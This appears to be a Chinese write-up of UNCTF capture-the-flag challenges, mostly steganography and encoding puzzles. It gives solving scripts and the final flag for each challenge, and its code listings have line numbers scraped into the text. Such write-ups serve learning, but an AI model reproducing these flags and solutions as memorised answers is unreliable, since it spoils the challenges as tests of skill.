1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import itertoolsr1 = 1261758973831852037364036680281442789461569523587512977925542995725854499352478233840720068310447535900840104847512878006505600998481136843381903570688446 r2 = 1563853949934744587783542352813857485182445023523734908403585490477271641971239139925690033798570364214960692427704824920072270819031456154655408096237757 def test (): s = [int (x) for x in bin (r1)[2 :].rjust(512 ,'0' )+bin (r2)[2 :].rjust(512 ,'0' )] M = matrix(GF(2 ), 512 , 512 ) T = vector(GF(2 ), 512 ) for i in range (len (s) - 512 ): M[i] = s[i : i + 512 ] T[i] = s[i+512 ] try : mask = M.inverse() * T return int ('' .join(map (str , (mask))),2 ) except : return flag = test() print (bytes .fromhex(hex (flag)[2 :]))
# Misc magic_word 乱码+零宽隐写
Wingdings字体转正常字体如宋体,全选内容复制,零宽隐写工具提取得 unctf{We1come_new_ctfer}
。
找得到我吗 以压缩包方式打开docx,在document.xml中发现:
<w:rFonts w:hint="default" w:cs="flag{You_find_me!}" w:asciiTheme="minorAscii" w:hAnsiTheme="minorAscii"/>
syslog 在log文件中找到关键一行:
Nov 2 02:34:14 ubuntu bi0x: [Password] cGFzc3dvcmQgaXMgVTZudTJfaTNfYjNTdA==
base64解码得到密码 password is U6nu2_i3_b3St
,解压得flag:unctf{N1_sH3_D0n9_L0g_dE!}
In_the_Morse_Garden PDF中全选复制出文字:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 UNCTF{5L6d5Y+k5q+U5Y+k546b5Y2h5be05Y2h546b5Y2h5be05Y2hIOS+neWPpOavlOWPpOeOm +WNoeW3tOWNoSDnjpvljaHlt7TljaHkvp3lj6Tmr5Tlj6Qg5L6d5Y+k5q+U5Y+k5L6d5Y+k5q+U5Y+k5 46b5Y2h5be05Y2h546b5Y2h5be05Y2h5L6d5Y+k5q+U5Y+k546b5Y2h5be05Y2hIOS+neWPpOavlO WPpOeOm+WNoeW3tOWNoSDnjpvljaHlt7TljaHkvp3lj6Tmr5Tlj6Qg5L6d5Y+k5q+U5Y+k5L6d5Y+k 5q+U5Y+k546b5Y2h5be05Y2h546b5Y2h5be05Y2h5L6d5Y+k5q+U5Y+k546b5Y2h5be05Y2hIOeOm +WNoeW3tOWNoeeOm+WNoeW3tOWNoSDkvp3lj6Tmr5Tlj6TnjpvljaHlt7TljaEg546b5Y2h5be05Y 2h5L6d5Y+k5q+U5Y+k546b5Y2h5be05Y2hIOS+neWPpOavlOWPpOeOm+WNoeW3tOWNoSDkvp3 lj6Tmr5Tlj6Tkvp3lj6Tmr5Tlj6TnjpvljaHlt7TljaHnjpvljaHlt7TljaHkvp3lj6Tmr5Tlj6TnjpvljaHlt7TljaEg54 6b5Y2h5be05Y2h5L6d5Y+k5q+U5Y+k5L6d5Y+k5q+U5Y+k5L6d5Y+k5q+U5Y+kIOS+neWPpOavlOW PpOeOm+WNoeW3tOWNoSDnjpvljaHlt7TljaHkvp3lj6Tmr5Tlj6TnjpvljaHlt7TljaEg5L6d5Y+k5q+U5Y +k546b5Y2h5be05Y2hIOS+neWPpOavlOWPpOeOm+WNoeW3tOWNoSDkvp3lj6Tmr5Tlj6Tnjpvlja Hlt7TljaEg5L6d5Y+k5q+U5Y+k546b5Y2h5be05Y2hIOS+neWPpOavlOWPpOeOm+WNoeW3tOWN oSDnjpvljaHlt7TljaHkvp3lj6Tmr5Tlj6TnjpvljaHlt7TljaHkvp3lj6Tmr5Tlj6TnjpvljaHlt7TljaHnjpvljaHlt7T ljaE=}
中间部分base64解码得到的 依古比古
换为 .
,玛卡巴卡
换为 -
,再摩斯密码解得 WAN_AN_MAKA_BAKAAAAA!
。
清和fan 小w一直对真人二次元没啥抵抗力,当他见到清和的时候,小w直呼这就是心动的感觉。
第一层,根据压缩包注释,密码为清和B站uid下划线最高播放量视频发布日期,找到密码 836885_2022/05/20
;
第二层,png图片LSB隐写,提取出 password is :qq857488580
;
第三层,音频文件SSTV,得到图片中密码 V@mpir3
;
最后一层,文本内零宽隐写,用在线工具提取得到 unctf{wha1e_wants_a_girlfriend_like_alicia}
。
芝麻开门 带密码的LSB隐写:python2 lsb.py extract flag.png xxx.txt key1
flag: flag{faf5bdd5-ba3d-11da-ad31-d33d75182f1b}
我小心海也绝非鳝类 png图片中有字符串 F#S<YIcHnAG;
,base92解码 flaginmd5
;尾部 RUFTWUxTQg==
,base64解码 EASYLSB
。
zsteg查看不到有用信息,用cloaked-pixel带密码的LSB提取:python2 lsb.py extract 1.png out.txt flaginmd5
,得到:
1 8FA14CDD754F91CC6554C9E71929CCE72DB95E8E1A9267B7A1188556B2013B330CC175B9C0F1B6A831C399E269772661B2F5FF47436671B6E533D8DC3614845DF95B70FDC3088560732A5AC135644506F1290186A5D0B1CEAB27F4E77C0C5D68E1671797C52E15F763380B45E841EC322DB95E8E1A9267B7A1188556B2013B334A8A08F09D37B73795649038408B5F33D95679752134A2D9EB61DBD7B91C4BCC6F8F57715090DA2632453988D9A1501BE1671797C52E15F763380B45E841EC32B14A7B8059D9C055954C92674CE60032E358EFA489F58062F10DD7316B65649ED95679752134A2D9EB61DBD7B91C4BCCB14A7B8059D9C055954C92674CE600326F8F57715090DA2632453988D9A1501B865C0C0B4AB0E063E5CAA3387C1A874103C7C0ACE395D80182DB07AE2C30F0344A8A08F09D37B73795649038408B5F33CBB184DD8E05C9709E5DCAEDAA0495CF
根据前面的提示,这串字符串为md5值的组合,爆破:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from hashlib import md5s = '8FA14CDD754F91CC6554C9E71929CCE72DB95E8E1A9267B7A1188556B2013B330CC175B9C0F1B6A831C399E269772661B2F5FF47436671B6E533D8DC3614845DF95B70FDC3088560732A5AC135644506F1290186A5D0B1CEAB27F4E77C0C5D68E1671797C52E15F763380B45E841EC322DB95E8E1A9267B7A1188556B2013B334A8A08F09D37B73795649038408B5F33D95679752134A2D9EB61DBD7B91C4BCC6F8F57715090DA2632453988D9A1501BE1671797C52E15F763380B45E841EC32B14A7B8059D9C055954C92674CE60032E358EFA489F58062F10DD7316B65649ED95679752134A2D9EB61DBD7B91C4BCCB14A7B8059D9C055954C92674CE600326F8F57715090DA2632453988D9A1501B865C0C0B4AB0E063E5CAA3387C1A874103C7C0ACE395D80182DB07AE2C30F0344A8A08F09D37B73795649038408B5F33CBB184DD8E05C9709E5DCAEDAA0495CF' .lower() s = [s[32 *i:32 *i+32 ] for i in range (len (s)//32 )] dic = {} for k in range (32 ,127 ): dic[md5(chr (k).encode()).hexdigest()] = chr (k) flag = '' for k in s: flag += dic[k] print (flag)
MY PICTURE 将dat文件异或0x8e,解压得到encode.py,内为图片加密算法,逻辑为逐像素RGB值简单异或,还原即可:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from PIL import Imagec = Image.open (r'flag.png' ,'r' ) l,h = c.size print (l,h)m = Image.new('RGB' ,(h,l)) for i in range (l): for j in range (h): r1,g1,b1 = c.getpixel((i,j)) r = g1^b1 g = r1^r b = g1^g m.putpixel(((i*1200 +j)//787 ,(i*1200 +j)%787 ),(b,g,r)) m.save(r'flag.jpg' ) c.close() m.close()
还原图片中的flag:UNCTF{93bb442f-2a76-2b6f-c42f-c2297f5fdaf9}
。
贝斯家族的侵略 提示1:如果明文攻击失败,尝试使用bandzip
提示2:会动的鼠标
第一层,根据提示1,bandzip压缩后明文攻击,解压;
第二层,base64隐写,脚本提取隐写内容:
1 2 3 4 5 6 7 8 9 10 11 12 b64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/' with open ('1.txt' , 'rb' ) as f: bin_str = '' for line in f.readlines(): stegb64 = '' .join(line.split()) rowb64 = '' .join(stegb64.decode('base64' ).encode('base64' ).split()) offset = abs (b64chars.index(stegb64.replace('=' ,'' )[-1 ])-b64chars.index(rowb64.replace('=' ,'' )[-1 ])) equalnum = stegb64.count('=' ) if equalnum: bin_str += bin (offset)[2 :].zfill(equalnum * 2 ) print ('' .join([chr (int (bin_str[i:i + 8 ], 2 )) for i in xrange(0 , len (bin_str), 8 )]))
得到的内容16进制转字符串,得到一个文件;
第三层,根据文件内的提示 Macro.mrf
,猜测为鼠标轨迹记录,使用Macro Recorder工具打开,逐条查看轨迹得到flag:flag{b4s3_1s_v3ry_g0od!!}
。